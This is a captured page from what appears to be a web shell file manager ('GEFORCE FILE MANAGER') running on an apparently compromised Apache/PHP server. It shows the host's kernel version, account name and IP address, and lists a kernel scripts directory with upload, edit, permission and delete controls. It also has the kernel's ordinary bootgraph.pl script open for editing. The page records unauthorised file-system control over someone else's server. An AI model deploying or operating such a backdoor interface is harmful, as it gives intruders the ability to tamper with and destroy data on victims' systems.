[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.64.1.el8_10.x86_64
/
scripts
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 basic
SET
[ DEL ]
📁 clang-tools
SET
[ DEL ]
📁 coccinelle
SET
[ DEL ]
📁 dtc
SET
[ DEL ]
📁 gcc-plugins
SET
[ DEL ]
📁 gdb
SET
[ DEL ]
📁 genksyms
SET
[ DEL ]
📁 kconfig
SET
[ DEL ]
📁 ksymoops
SET
[ DEL ]
📁 mod
SET
[ DEL ]
📁 package
SET
[ DEL ]
📁 selinux
SET
[ DEL ]
📄 Kbuild.include
15,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 Kconfig.include
1,173 B
SET
[ EDIT ]
|
[ DEL ]
📄 Lindent
502 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile
1,741 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.asm-generic
1,193 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.build
19,707 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.clean
2,883 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.dtbinst
1,116 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.extrawarn
2,770 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.gcc-plugins
1,861 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.headersinst
4,079 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.host
6,520 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.kasan
1,679 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.kcov
319 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.kcsan
118 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.lib
15,535 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.modbuiltin
1,717 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.modinst
1,149 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.modpost
5,430 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.modsign
897 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile.ubsan
951 B
SET
[ EDIT ]
|
[ DEL ]
📄 adjust_autoksyms.sh
3,010 B
SET
[ EDIT ]
|
[ DEL ]
📄 asn1_compiler
28,008 B
SET
[ EDIT ]
|
[ DEL ]
📄 asn1_compiler.c
36,391 B
SET
[ EDIT ]
|
[ DEL ]
📄 bin2c
7,024 B
SET
[ EDIT ]
|
[ DEL ]
📄 bin2c.c
743 B
SET
[ EDIT ]
|
[ DEL ]
📄 bloat-o-meter
3,313 B
SET
[ EDIT ]
|
[ DEL ]
📄 bootgraph.pl
6,426 B
SET
[ EDIT ]
|
[ DEL ]
📄 bpf_doc.py
25,515 B
SET
[ EDIT ]
|
[ DEL ]
📄 cc-can-link.sh
166 B
SET
[ EDIT ]
|
[ DEL ]
📄 check_00index.sh
1,333 B
SET
[ EDIT ]
|
[ DEL ]
📄 check_extable.sh
5,049 B
SET
[ EDIT ]
|
[ DEL ]
📄 checkincludes.pl
1,984 B
SET
[ EDIT ]
|
[ DEL ]
📄 checkkconfigsymbols.py
15,895 B
SET
[ EDIT ]
|
[ DEL ]
📄 checkpatch.pl
197,186 B
SET
[ EDIT ]
|
[ DEL ]
📄 checkstack.pl
5,303 B
SET
[ EDIT ]
|
[ DEL ]
📄 checksyscalls.sh
7,094 B
SET
[ EDIT ]
|
[ DEL ]
📄 checkversion.pl
1,938 B
SET
[ EDIT ]
|
[ DEL ]
📄 clang-version.sh
635 B
SET
[ EDIT ]
|
[ DEL ]
📄 cleanfile
3,538 B
SET
[ EDIT ]
|
[ DEL ]
📄 cleanpatch
5,178 B
SET
[ EDIT ]
|
[ DEL ]
📄 coccicheck
7,407 B
SET
[ EDIT ]
|
[ DEL ]
📄 config
4,635 B
SET
[ EDIT ]
|
[ DEL ]
📄 conmakehash
11,616 B
SET
[ EDIT ]
|
[ DEL ]
📄 conmakehash.c
6,128 B
SET
[ EDIT ]
|
[ DEL ]
📄 const_structs.checkpatch
964 B
SET
[ EDIT ]
|
[ DEL ]
📄 decode_stacktrace.sh
3,834 B
SET
[ EDIT ]
|
[ DEL ]
📄 decodecode
2,525 B
SET
[ EDIT ]
|
[ DEL ]
📄 depmod.sh
1,119 B
SET
[ EDIT ]
|
[ DEL ]
📄 diffconfig
3,821 B
SET
[ EDIT ]
|
[ DEL ]
📄 documentation-file-ref-check
3,548 B
SET
[ EDIT ]
|
[ DEL ]
📄 export_report.pl
4,654 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-cert
11,616 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-cert.c
3,541 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-ikconfig
1,734 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-module-sig.pl
3,742 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-sys-certs.pl
3,832 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract-vmlinux
1,725 B
SET
[ EDIT ]
|
[ DEL ]
📄 extract_xc3028.pl
45,665 B
SET
[ EDIT ]
|
[ DEL ]
📄 faddr2line
6,303 B
SET
[ EDIT ]
|
[ DEL ]
📄 file-size.sh
86 B
SET
[ EDIT ]
|
[ DEL ]
📄 find-unused-docs.sh
1,310 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-goto.sh
530 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-ld
711 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-plugin.sh
1,090 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-version.sh
857 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-x86_32-has-stack-protector.sh
173 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcc-x86_64-has-stack-protector.sh
198 B
SET
[ EDIT ]
|
[ DEL ]
📄 gen_initramfs_list.sh
8,224 B
SET
[ EDIT ]
|
[ DEL ]
📄 get_dvb_firmware
25,824 B
SET
[ EDIT ]
|
[ DEL ]
📄 get_maintainer.pl
67,369 B
SET
[ EDIT ]
|
[ DEL ]
📄 gfp-translate
1,752 B
SET
[ EDIT ]
|
[ DEL ]
📄 headerdep.pl
3,582 B
SET
[ EDIT ]
|
[ DEL ]
📄 headers.sh
512 B
SET
[ EDIT ]
|
[ DEL ]
📄 headers_check.pl
3,815 B
SET
[ EDIT ]
|
[ DEL ]
📄 headers_install.sh
1,397 B
SET
[ EDIT ]
|
[ DEL ]
📄 insert-sys-cert.c
9,084 B
SET
[ EDIT ]
|
[ DEL ]
📄 kallsyms
19,992 B
SET
[ EDIT ]
|
[ DEL ]
📄 kallsyms.c
18,580 B
SET
[ EDIT ]
|
[ DEL ]
📄 kernel-doc
62,560 B
SET
[ EDIT ]
|
[ DEL ]
📄 ld-version.sh
269 B
SET
[ EDIT ]
|
[ DEL ]
📄 leaking_addresses.pl
13,160 B
SET
[ EDIT ]
|
[ DEL ]
📄 link-vmlinux.sh
9,176 B
SET
[ EDIT ]
|
[ DEL ]
📄 makelst
808 B
SET
[ EDIT ]
|
[ DEL ]
📄 markup_oops.pl
8,273 B
SET
[ EDIT ]
|
[ DEL ]
📄 mkcompile_h
2,628 B
SET
[ EDIT ]
|
[ DEL ]
📄 mkmakefile
1,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 mksysmap
1,359 B
SET
[ EDIT ]
|
[ DEL ]
📄 mkuboot.sh
414 B
SET
[ EDIT ]
|
[ DEL ]
📄 module-common.lds
901 B
SET
[ EDIT ]
|
[ DEL ]
📄 modules.order
0 B
SET
[ EDIT ]
|
[ DEL ]
📄 namespace.pl
13,358 B
SET
[ EDIT ]
|
[ DEL ]
📄 objdiff
2,917 B
SET
[ EDIT ]
|
[ DEL ]
📄 parse-maintainers.pl
4,646 B
SET
[ EDIT ]
|
[ DEL ]
📄 patch-kernel
10,185 B
SET
[ EDIT ]
|
[ DEL ]
📄 pnmtologo
15,720 B
SET
[ EDIT ]
|
[ DEL ]
📄 pnmtologo.c
12,197 B
SET
[ EDIT ]
|
[ DEL ]
📄 profile2linkerlist.pl
410 B
SET
[ EDIT ]
|
[ DEL ]
📄 prune-kernel
708 B
SET
[ EDIT ]
|
[ DEL ]
📄 recordmcount
24,008 B
SET
[ EDIT ]
|
[ DEL ]
📄 recordmcount.c
17,062 B
SET
[ EDIT ]
|
[ DEL ]
📄 recordmcount.h
16,772 B
SET
[ EDIT ]
|
[ DEL ]
📄 recordmcount.pl
18,709 B
SET
[ EDIT ]
|
[ DEL ]
📄 setlocalversion
4,013 B
SET
[ EDIT ]
|
[ DEL ]
📄 show_delta
3,076 B
SET
[ EDIT ]
|
[ DEL ]
📄 sign-file
15,768 B
SET
[ EDIT ]
|
[ DEL ]
📄 sign-file.c
9,994 B
SET
[ EDIT ]
|
[ DEL ]
📄 sortextable
15,712 B
SET
[ EDIT ]
|
[ DEL ]
📄 sortextable.c
10,411 B
SET
[ EDIT ]
|
[ DEL ]
📄 sortextable.h
5,614 B
SET
[ EDIT ]
|
[ DEL ]
📄 spelling.txt
25,611 B
SET
[ EDIT ]
|
[ DEL ]
📄 sphinx-pre-install
14,378 B
SET
[ EDIT ]
|
[ DEL ]
📄 split-man.pl
600 B
SET
[ EDIT ]
|
[ DEL ]
📄 stackdelta
1,883 B
SET
[ EDIT ]
|
[ DEL ]
📄 stackusage
794 B
SET
[ EDIT ]
|
[ DEL ]
📄 subarch.include
641 B
SET
[ EDIT ]
|
[ DEL ]
📄 tags.sh
9,789 B
SET
[ EDIT ]
|
[ DEL ]
📄 test_fortify.sh
2,281 B
SET
[ EDIT ]
|
[ DEL ]
📄 unifdef
36,192 B
SET
[ EDIT ]
|
[ DEL ]
📄 unifdef.c
35,637 B
SET
[ EDIT ]
|
[ DEL ]
📄 ver_linux
2,747 B
SET
[ EDIT ]
|
[ DEL ]
📄 xen-hypercalls.sh
386 B
SET
[ EDIT ]
|
[ DEL ]
📄 xz_wrap.sh
562 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: bootgraph.pl
#!/usr/bin/perl # Copyright 2008, Intel Corporation # # This file is part of the Linux kernel # # This program file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License # for more details. # # You should have received a copy of the GNU General Public License # along with this program in a file named COPYING; if not, write to the # Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, # Boston, MA 02110-1301 USA # # Authors: # Arjan van de Ven <arjan@linux.intel.com> # # This script turns a dmesg output into a SVG graphic that shows which # functions take how much time. You can view SVG graphics with various # programs, including Inkscape, The Gimp and Firefox. # # # For this script to work, the kernel needs to be compiled with the # CONFIG_PRINTK_TIME configuration option enabled, and with # "initcall_debug" passed on the kernel command line. # # usage: # dmesg | perl scripts/bootgraph.pl > output.svg # use strict; use Getopt::Long; my $header = 0; sub help { my $text = << "EOM"; Usage: 1) dmesg | perl scripts/bootgraph.pl [OPTION] > output.svg 2) perl scripts/bootgraph.pl -h Options: -header Insert kernel version and date EOM my $std=shift; if ($std == 1) { print STDERR $text; } else { print $text; } exit; } GetOptions( 'h|help' =>\&help, 'header' =>\$header ); my %start; my %end; my %type; my $done = 0; my $maxtime = 0; my $firsttime = 99999; my $count = 0; my %pids; my %pidctr; my $headerstep = 20; my $xheader = 15; my $yheader = 25; my $cyheader = 0; while (<>) { my $line = $_; if ($line =~ /([0-9\.]+)\] calling ([a-zA-Z0-9\_\.]+)\+/) { my $func = $2; if ($done == 0) { $start{$func} = $1; $type{$func} = 0; if ($1 < $firsttime) { $firsttime = $1; } } if ($line =~ /\@ ([0-9]+)/) { $pids{$func} = $1; } $count = $count + 1; } if ($line =~ /([0-9\.]+)\] async_waiting @ ([0-9]+)/) { my $pid = $2; my $func; if (!defined($pidctr{$pid})) { $func = "wait_" . $pid . "_1"; $pidctr{$pid} = 1; } else { $pidctr{$pid} = $pidctr{$pid} + 1; $func = "wait_" . $pid . "_" . $pidctr{$pid}; } if ($done == 0) { $start{$func} = $1; $type{$func} = 1; if ($1 < $firsttime) { $firsttime = $1; } } $pids{$func} = $pid; $count = $count + 1; } if ($line =~ /([0-9\.]+)\] initcall ([a-zA-Z0-9\_\.]+)\+.*returned/) { if ($done == 0) { $end{$2} = $1; $maxtime = $1; } } if ($line =~ /([0-9\.]+)\] async_continuing @ ([0-9]+)/) { my $pid = $2; my $func = "wait_" . $pid . "_" . $pidctr{$pid}; $end{$func} = $1; $maxtime = $1; } if ($line =~ /Write protecting the/) { $done = 1; } if ($line =~ /Freeing unused kernel memory/) { $done = 1; } } if ($count == 0) { print STDERR <<END; No data found in the dmesg. Make sure that 'printk.time=1' and 'initcall_debug' are passed on the kernel command line. END help(1); exit 1; } print "<?xml version=\"1.0\" standalone=\"no\"?> \n"; print "<svg width=\"2000\" height=\"100%\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\">\n"; if ($header) { my $version = `uname -a`; my $date = `date`; print "<text transform=\"translate($xheader,$yheader)\">Kernel version: $version</text>\n"; $cyheader = $yheader+$headerstep; print "<text transform=\"translate($xheader,$cyheader)\">Date: $date</text>\n"; } my @styles; $styles[0] = "fill:rgb(0,0,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[1] = "fill:rgb(0,255,0);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[2] = "fill:rgb(255,0,20);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[3] = "fill:rgb(255,255,20);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[4] = "fill:rgb(255,0,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[5] = "fill:rgb(0,255,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[6] = "fill:rgb(0,128,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[7] = "fill:rgb(0,255,128);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[8] = "fill:rgb(255,0,128);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[9] = "fill:rgb(255,255,128);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[10] = "fill:rgb(255,128,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; $styles[11] = "fill:rgb(128,255,255);fill-opacity:0.5;stroke-width:1;stroke:rgb(0,0,0)"; my $style_wait = "fill:rgb(128,128,128);fill-opacity:0.5;stroke-width:0;stroke:rgb(0,0,0)"; my $mult = 1950.0 / ($maxtime - $firsttime); my $threshold2 = ($maxtime - $firsttime) / 120.0; my $threshold = $threshold2/10; my $stylecounter = 0; my %rows; my $rowscount = 1; my @initcalls = sort { $start{$a} <=> $start{$b} } keys(%start); foreach my $key (@initcalls) { my $duration = $end{$key} - $start{$key}; if ($duration >= $threshold) { my ($s, $s2, $s3, $e, $w, $y, $y2, $style); my $pid = $pids{$key}; if (!defined($rows{$pid})) { $rows{$pid} = $rowscount; $rowscount = $rowscount + 1; } $s = ($start{$key} - $firsttime) * $mult; $s2 = $s + 6; $s3 = $s + 1; $e = ($end{$key} - $firsttime) * $mult; $w = $e - $s; $y = $rows{$pid} * 150; $y2 = $y + 4; $style = $styles[$stylecounter]; $stylecounter = $stylecounter + 1; if ($stylecounter > 11) { $stylecounter = 0; }; if ($type{$key} == 1) { $y = $y + 15; print "<rect x=\"$s\" width=\"$w\" y=\"$y\" height=\"115\" style=\"$style_wait\"/>\n"; } else { print "<rect x=\"$s\" width=\"$w\" y=\"$y\" height=\"145\" style=\"$style\"/>\n"; if ($duration >= $threshold2) { print "<text transform=\"translate($s2,$y2) rotate(90)\">$key</text>\n"; } else { print "<text transform=\"translate($s3,$y2) rotate(90)\" font-size=\"3pt\">$key</text>\n"; } } } } # print the time line on top my $time = $firsttime; my $step = ($maxtime - $firsttime) / 15; while ($time < $maxtime) { my $s3 = ($time - $firsttime) * $mult; my $tm = int($time * 100) / 100.0; print "<text transform=\"translate($s3,89) rotate(90)\">$tm</text>\n"; $time = $time + $step; } print "</svg>\n";